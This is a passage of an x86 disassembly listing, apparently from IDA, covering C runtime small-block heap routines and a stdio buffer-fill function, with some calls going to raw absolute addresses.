		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi


loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A9C0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A9B0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DCFE4
		call	near ptr 27C0000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A9B0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A9B0, 0
		jnz	short loc_41E9F6
		mov	off_43A9B0, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A9B4, 0
		jnz	short loc_41EA1B
		mov	off_43A9B4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A9B4
		mov	[esi+4], eax
		mov	off_43A9B4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		call	near ptr 28B06C4h
		nop


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A9B0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DCFE4
		call	near ptr 27B0000h
		nop


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 28B06C4h
		cmp	off_43C9D0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C9D0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A9B0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DCFE4
		call	near ptr 27B0000h
		nop
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A9C0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A9B4
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 28B06C4h
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB9D4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A9B4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A9B0
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB9D4
		cmp	dword_4DB9D4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C9D0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C9D0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C9D0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A9B0
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 28B07B7h
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C9D0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C9D0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DCCA0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43D030


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
